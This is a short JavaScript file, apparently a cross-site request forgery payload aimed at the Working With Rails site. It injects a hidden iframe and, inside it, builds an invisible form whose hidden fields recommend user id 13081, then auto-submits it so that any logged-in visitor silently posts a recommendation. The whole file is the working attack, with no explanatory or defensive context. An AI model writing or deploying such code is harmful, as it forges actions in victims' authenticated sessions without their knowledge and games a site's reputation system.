function IFrame(parentElement)
{
var iframe = document.createElement("iframe");
if(parentElement == null)
parentElement = document.body;
parentElement.appendChild(iframe);
iframe.doc = null;
if(iframe.contentDocument)
iframe.doc = iframe.contentDocument;
else if(iframe.contentWindow)
iframe.doc = iframe.contentWindow.document;
else if(iframe.document)
iframe.doc = iframe.document;
if(iframe.doc == null)
throw "Document not found, append the parent element to the DOM before creating the IFrame";
iframe.doc.open();
iframe.doc.close();
return iframe;
}
var iframe = IFrame(document.body)
var doc = iframe.doc
var form = doc.createElement('form');
form.setAttribute('action', 'http://workingwithrails.com/recommendation/create');
form.setAttribute('method', 'post');
doc.body.appendChild(form);
var input1 = doc.createElement('input');
input1.setAttribute('type', 'hidden');
input1.setAttribute('name', 'recommendation[for_person_id]');
input1.setAttribute('value', '13081')
var input2 = doc.createElement('input');
input2.setAttribute('type', 'hidden');
input2.setAttribute('name', 'recommendation[have_read_blog]');
input2.setAttribute('value', '1')
var input3 = doc.createElement('input');
input3.setAttribute('type', 'hidden');
input3.setAttribute('name', 'recommendation[have_used_code_they_have_written]');
input3.setAttribute('value', '1')
form.appendChild(input1);
form.appendChild(input2);
form.appendChild(input3);
form.submit()